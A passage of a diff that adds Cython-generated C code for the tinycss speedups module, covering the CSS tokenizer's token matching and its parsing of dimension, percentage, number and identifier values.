__PYX_ERR(0, 107, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + for (;;) { + if (likely(!__pyx_t_9)) { + if (likely(PyList_CheckExact(__pyx_t_8))) { + if (__pyx_t_2 >= PyList_GET_SIZE(__pyx_t_8)) break; + #if CYTHON_COMPILING_IN_CPYTHON + __pyx_t_1 = PyList_GET_ITEM(__pyx_t_8, __pyx_t_2); __Pyx_INCREF(__pyx_t_1); __pyx_t_2++; if (unlikely(0 < 0)) __PYX_ERR(0, 107, __pyx_L1_error) + #else + __pyx_t_1 = PySequence_ITEM(__pyx_t_8, __pyx_t_2); __pyx_t_2++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } else { + if (__pyx_t_2 >= PyTuple_GET_SIZE(__pyx_t_8)) break; + #if CYTHON_COMPILING_IN_CPYTHON + __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_8, __pyx_t_2); __Pyx_INCREF(__pyx_t_1); __pyx_t_2++; if (unlikely(0 < 0)) __PYX_ERR(0, 107, __pyx_L1_error) + #else + __pyx_t_1 = PySequence_ITEM(__pyx_t_8, __pyx_t_2); __pyx_t_2++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } + } else { + __pyx_t_1 = __pyx_t_9(__pyx_t_8); + if (unlikely(!__pyx_t_1)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 107, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_1); + } + if ((likely(PyTuple_CheckExact(__pyx_t_1))) || (PyList_CheckExact(__pyx_t_1))) { + PyObject* sequence = __pyx_t_1; + #if CYTHON_COMPILING_IN_CPYTHON + Py_ssize_t size = Py_SIZE(sequence); + #else + Py_ssize_t size = PySequence_Size(sequence); + #endif + if (unlikely(size != 3)) { + if (size > 3) __Pyx_RaiseTooManyValuesError(3); + else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size); + __PYX_ERR(0, 107, __pyx_L1_error) + } + #if CYTHON_COMPILING_IN_CPYTHON + if (likely(PyTuple_CheckExact(sequence))) { + __pyx_t_10 = PyTuple_GET_ITEM(sequence, 0); + __pyx_t_11 = PyTuple_GET_ITEM(sequence, 1); + __pyx_t_12 = PyTuple_GET_ITEM(sequence, 2); + } else { + __pyx_t_10 = PyList_GET_ITEM(sequence, 0); + __pyx_t_11 = PyList_GET_ITEM(sequence, 1); + __pyx_t_12 = PyList_GET_ITEM(sequence, 2); + } + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(__pyx_t_12); + #else + __pyx_t_10 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = PySequence_ITEM(sequence, 2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + #endif + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } else { + Py_ssize_t index = -1; + __pyx_t_13 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_14 = Py_TYPE(__pyx_t_13)->tp_iternext; + index = 0; __pyx_t_10 = __pyx_t_14(__pyx_t_13); if (unlikely(!__pyx_t_10)) goto __pyx_L8_unpacking_failed; + __Pyx_GOTREF(__pyx_t_10); + index = 1; __pyx_t_11 = __pyx_t_14(__pyx_t_13); if (unlikely(!__pyx_t_11)) goto __pyx_L8_unpacking_failed; + __Pyx_GOTREF(__pyx_t_11); + index = 2; __pyx_t_12 = __pyx_t_14(__pyx_t_13); if (unlikely(!__pyx_t_12)) goto __pyx_L8_unpacking_failed; + __Pyx_GOTREF(__pyx_t_12); + if (__Pyx_IternextUnpackEndCheck(__pyx_t_14(__pyx_t_13), 3) < 0) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_14 = NULL; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + goto __pyx_L9_unpacking_done; + __pyx_L8_unpacking_failed:; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_14 = NULL; + if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index); + __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_L9_unpacking_done:; + } + __pyx_t_15 = __Pyx_PyIndex_AsSsize_t(__pyx_t_10); if (unlikely((__pyx_t_15 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_v_type_ = __pyx_t_15; + __Pyx_XDECREF_SET(__pyx_v_type_name, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_XDECREF_SET(__pyx_v_regexp, __pyx_t_12); + __pyx_t_12 = 0; + + /* "tinycss/speedups.pyx":108 + * codepoint = min(ord(char), 160) + * for type_, type_name, regexp in tokens_dispatch[codepoint]: + * match = regexp(css_source, pos) # <<<<<<<<<<<<<< + * if match: + * # First match is the longest. See comments on TOKENS above. + */ + __pyx_t_12 = PyInt_FromSsize_t(__pyx_v_pos); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_INCREF(__pyx_v_regexp); + __pyx_t_11 = __pyx_v_regexp; __pyx_t_10 = NULL; + __pyx_t_15 = 0; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_15 = 1; + } + } + __pyx_t_13 = PyTuple_New(2+__pyx_t_15); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + if (__pyx_t_10) { + __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_10); __pyx_t_10 = NULL; + } + __Pyx_INCREF(__pyx_v_css_source); + __Pyx_GIVEREF(__pyx_v_css_source); + PyTuple_SET_ITEM(__pyx_t_13, 0+__pyx_t_15, __pyx_v_css_source); + __Pyx_GIVEREF(__pyx_t_12); + PyTuple_SET_ITEM(__pyx_t_13, 1+__pyx_t_15, __pyx_t_12); + __pyx_t_12 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_t_13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF_SET(__pyx_v_match, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":109 + * for type_, type_name, regexp in tokens_dispatch[codepoint]: + * match = regexp(css_source, pos) + * if match: # <<<<<<<<<<<<<< + * # First match is the longest. See comments on TOKENS above. + * css_value = match.group() + */ + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_v_match); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 109, __pyx_L1_error) + if (__pyx_t_4) { + + /* "tinycss/speedups.pyx":111 + * if match: + * # First match is the longest. See comments on TOKENS above. + * css_value = match.group() # <<<<<<<<<<<<<< + * break + * else: + */ + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_v_match, __pyx_n_s_group); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_13 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + } + } + if (__pyx_t_13) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_11, __pyx_t_13); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } else { + __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 111, __pyx_L1_error) + } + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF_SET(__pyx_v_css_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":112 + * # First match is the longest. See comments on TOKENS above. + * css_value = match.group() + * break # <<<<<<<<<<<<<< + * else: + * # No match. + */ + goto __pyx_L7_break; + + /* "tinycss/speedups.pyx":109 + * for type_, type_name, regexp in tokens_dispatch[codepoint]: + * match = regexp(css_source, pos) + * if match: # <<<<<<<<<<<<<< + * # First match is the longest. See comments on TOKENS above. + * css_value = match.group() + */ + } + + /* "tinycss/speedups.pyx":107 + * else: + * codepoint = min(ord(char), 160) + * for type_, type_name, regexp in tokens_dispatch[codepoint]: # <<<<<<<<<<<<<< + * match = regexp(css_source, pos) + * if match: + */ + } + /*else*/ { + + /* "tinycss/speedups.pyx":119 + * # ... but quotes at the start of a token are always matched + * # by STRING or BAD_STRING. So DELIM is any single character. + * type_ = DELIM # <<<<<<<<<<<<<< + * type_name = 'DELIM' + * css_value = char + */ + __pyx_v_type_ = __pyx_v_DELIM; + + /* "tinycss/speedups.pyx":120 + * # by STRING or BAD_STRING. So DELIM is any single character. + * type_ = DELIM + * type_name = 'DELIM' # <<<<<<<<<<<<<< + * css_value = char + * length = len(css_value) + */ + __Pyx_INCREF(__pyx_n_u_DELIM); + __Pyx_XDECREF_SET(__pyx_v_type_name, __pyx_n_u_DELIM); + + /* "tinycss/speedups.pyx":121 + * type_ = DELIM + * type_name = 'DELIM' + * css_value = char # <<<<<<<<<<<<<< + * length = len(css_value) + * next_pos = pos + length + */ + __Pyx_INCREF(__pyx_v_char); + __Pyx_XDECREF_SET(__pyx_v_css_value, __pyx_v_char); + } + + /* "tinycss/speedups.pyx":107 + * else: + * codepoint = min(ord(char), 160) + * for type_, type_name, regexp in tokens_dispatch[codepoint]: # <<<<<<<<<<<<<< + * match = regexp(css_source, pos) + * if match: + */ + __pyx_L7_break:; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_L5:; + + /* "tinycss/speedups.pyx":122 + * type_name = 'DELIM' + * css_value = char + * length = len(css_value) # <<<<<<<<<<<<<< + * next_pos = pos + length + * + */ + __pyx_t_2 = PyObject_Length(__pyx_v_css_value); if (unlikely(__pyx_t_2 == -1)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_v_length = __pyx_t_2; + + /* "tinycss/speedups.pyx":123 + * css_value = char + * length = len(css_value) + * next_pos = pos + length # <<<<<<<<<<<<<< + * + * # A BAD_COMMENT is a comment at EOF. Ignore it too. + */ + __pyx_v_next_pos = (__pyx_v_pos + __pyx_v_length); + + /* "tinycss/speedups.pyx":126 + * + * # A BAD_COMMENT is a comment at EOF. Ignore it too. + * if not (ignore_comments and type_ in (COMMENT, BAD_COMMENT)): # <<<<<<<<<<<<<< + * # Parse numbers, extract strings and URIs, unescape + * unit = None + */ + __pyx_t_3 = (__pyx_v_ignore_comments != 0); + if (__pyx_t_3) { + } else { + __pyx_t_4 = __pyx_t_3; + goto __pyx_L13_bool_binop_done; + } + __pyx_t_2 = __pyx_v_type_; + __pyx_t_16 = ((__pyx_t_2 == __pyx_v_COMMENT) != 0); + if (!__pyx_t_16) { + } else { + __pyx_t_3 = __pyx_t_16; + goto __pyx_L15_bool_binop_done; + } + __pyx_t_16 = ((__pyx_t_2 == __pyx_v_BAD_COMMENT) != 0); + __pyx_t_3 = __pyx_t_16; + __pyx_L15_bool_binop_done:; + __pyx_t_16 = (__pyx_t_3 != 0); + __pyx_t_4 = __pyx_t_16; + __pyx_L13_bool_binop_done:; + __pyx_t_16 = ((!__pyx_t_4) != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":128 + * if not (ignore_comments and type_ in (COMMENT, BAD_COMMENT)): + * # Parse numbers, extract strings and URIs, unescape + * unit = None # <<<<<<<<<<<<<< + * if type_ == DIMENSION: + * value = match.group(1) + */ + __Pyx_INCREF(Py_None); + __Pyx_XDECREF_SET(__pyx_v_unit, Py_None); + + /* "tinycss/speedups.pyx":129 + * # Parse numbers, extract strings and URIs, unescape + * unit = None + * if type_ == DIMENSION: # <<<<<<<<<<<<<< + * value = match.group(1) + * value = float(value) if '.' in value else int(value) + */ + __pyx_t_16 = ((__pyx_v_type_ == __pyx_v_DIMENSION) != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":130 + * unit = None + * if type_ == DIMENSION: + * value = match.group(1) # <<<<<<<<<<<<<< + * value = float(value) if '.' in value else int(value) + * unit = match.group(2) + */ + if (unlikely(!__pyx_v_match)) { __Pyx_RaiseUnboundLocalError("match"); __PYX_ERR(0, 130, __pyx_L1_error) } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_match, __pyx_n_s_group); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":131 + * if type_ == DIMENSION: + * value = match.group(1) + * value = float(value) if '.' in value else int(value) # <<<<<<<<<<<<<< + * unit = match.group(2) + * unit = simple_unescape(unit) + */ + __pyx_t_16 = (__Pyx_PySequence_ContainsTF(__pyx_kp_u__4, __pyx_v_value, Py_EQ)); if (unlikely(__pyx_t_16 < 0)) __PYX_ERR(0, 131, __pyx_L1_error) + if ((__pyx_t_16 != 0)) { + __pyx_t_8 = __Pyx_PyNumber_Float(__pyx_v_value); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __pyx_t_8; + __pyx_t_8 = 0; + } else { + __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_v_value); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __pyx_t_8; + __pyx_t_8 = 0; + } + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":132 + * value = match.group(1) + * value = float(value) if '.' in value else int(value) + * unit = match.group(2) # <<<<<<<<<<<<<< + * unit = simple_unescape(unit) + * unit = unicode_unescape(unit) + */ + if (unlikely(!__pyx_v_match)) { __Pyx_RaiseUnboundLocalError("match"); __PYX_ERR(0, 132, __pyx_L1_error) } + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_match, __pyx_n_s_group); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF_SET(__pyx_v_unit, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":133 + * value = float(value) if '.' in value else int(value) + * unit = match.group(2) + * unit = simple_unescape(unit) # <<<<<<<<<<<<<< + * unit = unicode_unescape(unit) + * unit = unit.lower() # normalize + */ + __Pyx_INCREF(__pyx_v_simple_unescape); + __pyx_t_1 = __pyx_v_simple_unescape; __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + } + } + if (!__pyx_t_11) { + __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_unit); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + } else { + __pyx_t_13 = PyTuple_New(1+1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL; + __Pyx_INCREF(__pyx_v_unit); + __Pyx_GIVEREF(__pyx_v_unit); + PyTuple_SET_ITEM(__pyx_t_13, 0+1, __pyx_v_unit); + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_13, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF_SET(__pyx_v_unit, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":134 + * unit = match.group(2) + * unit = simple_unescape(unit) + * unit = unicode_unescape(unit) # <<<<<<<<<<<<<< + * unit = unit.lower() # normalize + * elif type_ == PERCENTAGE: + */ + __Pyx_INCREF(__pyx_v_unicode_unescape); + __pyx_t_1 = __pyx_v_unicode_unescape; __pyx_t_13 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + } + } + if (!__pyx_t_13) { + __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_unit); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + } else { + __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_13); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); __pyx_t_13 = NULL; + __Pyx_INCREF(__pyx_v_unit); + __Pyx_GIVEREF(__pyx_v_unit); + PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_unit); + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_11, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF_SET(__pyx_v_unit, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":135 + * unit = simple_unescape(unit) + * unit = unicode_unescape(unit) + * unit = unit.lower() # normalize # <<<<<<<<<<<<<< + * elif type_ == PERCENTAGE: + * value = css_value[:-1] + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_unit, __pyx_n_s_lower); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + } + } + if (__pyx_t_11) { + __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } else { + __pyx_t_8 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 135, __pyx_L1_error) + } + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF_SET(__pyx_v_unit, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":129 + * # Parse numbers, extract strings and URIs, unescape + * unit = None + * if type_ == DIMENSION: # <<<<<<<<<<<<<< + * value = match.group(1) + * value = float(value) if '.' in value else int(value) + */ + goto __pyx_L17; + } + + /* "tinycss/speedups.pyx":136 + * unit = unicode_unescape(unit) + * unit = unit.lower() # normalize + * elif type_ == PERCENTAGE: # <<<<<<<<<<<<<< + * value = css_value[:-1] + * value = float(value) if '.' in value else int(value) + */ + __pyx_t_16 = ((__pyx_v_type_ == __pyx_v_PERCENTAGE) != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":137 + * unit = unit.lower() # normalize + * elif type_ == PERCENTAGE: + * value = css_value[:-1] # <<<<<<<<<<<<<< + * value = float(value) if '.' in value else int(value) + * unit = '%' + */ + __pyx_t_8 = __Pyx_PyObject_GetSlice(__pyx_v_css_value, 0, -1L, NULL, NULL, &__pyx_slice__6, 0, 1, 1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":138 + * elif type_ == PERCENTAGE: + * value = css_value[:-1] + * value = float(value) if '.' in value else int(value) # <<<<<<<<<<<<<< + * unit = '%' + * elif type_ == NUMBER: + */ + __pyx_t_16 = (__Pyx_PySequence_ContainsTF(__pyx_kp_u__4, __pyx_v_value, Py_EQ)); if (unlikely(__pyx_t_16 < 0)) __PYX_ERR(0, 138, __pyx_L1_error) + if ((__pyx_t_16 != 0)) { + __pyx_t_1 = __Pyx_PyNumber_Float(__pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __pyx_t_1; + __pyx_t_1 = 0; + } else { + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __pyx_t_1; + __pyx_t_1 = 0; + } + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":139 + * value = css_value[:-1] + * value = float(value) if '.' in value else int(value) + * unit = '%' # <<<<<<<<<<<<<< + * elif type_ == NUMBER: + * value = css_value + */ + __Pyx_INCREF(__pyx_kp_u__7); + __Pyx_DECREF_SET(__pyx_v_unit, __pyx_kp_u__7); + + /* "tinycss/speedups.pyx":136 + * unit = unicode_unescape(unit) + * unit = unit.lower() # normalize + * elif type_ == PERCENTAGE: # <<<<<<<<<<<<<< + * value = css_value[:-1] + * value = float(value) if '.' in value else int(value) + */ + goto __pyx_L17; + } + + /* "tinycss/speedups.pyx":140 + * value = float(value) if '.' in value else int(value) + * unit = '%' + * elif type_ == NUMBER: # <<<<<<<<<<<<<< + * value = css_value + * if '.' in value: + */ + __pyx_t_16 = ((__pyx_v_type_ == __pyx_v_NUMBER) != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":141 + * unit = '%' + * elif type_ == NUMBER: + * value = css_value # <<<<<<<<<<<<<< + * if '.' in value: + * value = float(value) + */ + __Pyx_INCREF(__pyx_v_css_value); + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_v_css_value); + + /* "tinycss/speedups.pyx":142 + * elif type_ == NUMBER: + * value = css_value + * if '.' in value: # <<<<<<<<<<<<<< + * value = float(value) + * else: + */ + __pyx_t_16 = (__Pyx_PySequence_ContainsTF(__pyx_kp_u__4, __pyx_v_value, Py_EQ)); if (unlikely(__pyx_t_16 < 0)) __PYX_ERR(0, 142, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_16 != 0); + if (__pyx_t_4) { + + /* "tinycss/speedups.pyx":143 + * value = css_value + * if '.' in value: + * value = float(value) # <<<<<<<<<<<<<< + * else: + * value = int(value) + */ + __pyx_t_8 = __Pyx_PyNumber_Float(__pyx_v_value); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":142 + * elif type_ == NUMBER: + * value = css_value + * if '.' in value: # <<<<<<<<<<<<<< + * value = float(value) + * else: + */ + goto __pyx_L18; + } + + /* "tinycss/speedups.pyx":145 + * value = float(value) + * else: + * value = int(value) # <<<<<<<<<<<<<< + * type_name = 'INTEGER' + * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): + */ + /*else*/ { + __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_v_value); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":146 + * else: + * value = int(value) + * type_name = 'INTEGER' # <<<<<<<<<<<<<< + * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): + * value = simple_unescape(css_value) + */ + __Pyx_INCREF(__pyx_n_u_INTEGER); + __Pyx_DECREF_SET(__pyx_v_type_name, __pyx_n_u_INTEGER); + } + __pyx_L18:; + + /* "tinycss/speedups.pyx":140 + * value = float(value) if '.' in value else int(value) + * unit = '%' + * elif type_ == NUMBER: # <<<<<<<<<<<<<< + * value = css_value + * if '.' in value: + */ + goto __pyx_L17; + } + + /* "tinycss/speedups.pyx":147 + * value = int(value) + * type_name = 'INTEGER' + * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): # <<<<<<<<<<<<<< + * value = simple_unescape(css_value) + * value = unicode_unescape(value) + */ + __pyx_t_2 = __pyx_v_type_; + __pyx_t_16 = ((__pyx_t_2 == __pyx_v_IDENT) != 0); + if (!__pyx_t_16) { + } else { + __pyx_t_4 = __pyx_t_16; + goto __pyx_L19_bool_binop_done; + } + __pyx_t_16 = ((__pyx_t_2 == __pyx_v_ATKEYWORD) != 0); + if (!__pyx_t_16) { + } else { + __pyx_t_4 = __pyx_t_16; + goto __pyx_L19_bool_binop_done; + } + __pyx_t_16 = ((__pyx_t_2 == __pyx_v_HASH) != 0); + if (!__pyx_t_16) { + } else { + __pyx_t_4 = __pyx_t_16; + goto __pyx_L19_bool_binop_done; + } + __pyx_t_16 = ((__pyx_t_2 == __pyx_v_FUNCTION) != 0); + __pyx_t_4 = __pyx_t_16; + __pyx_L19_bool_binop_done:; + __pyx_t_16 = (__pyx_t_4 != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":148 + * type_name = 'INTEGER' + * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): + * value = simple_unescape(css_value) # <<<<<<<<<<<<<< + * value = unicode_unescape(value) + * elif type_ == URI: + */ + __Pyx_INCREF(__pyx_v_simple_unescape); + __pyx_t_1 = __pyx_v_simple_unescape; __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + } + } + if (!__pyx_t_11) { + __pyx_t_8 = 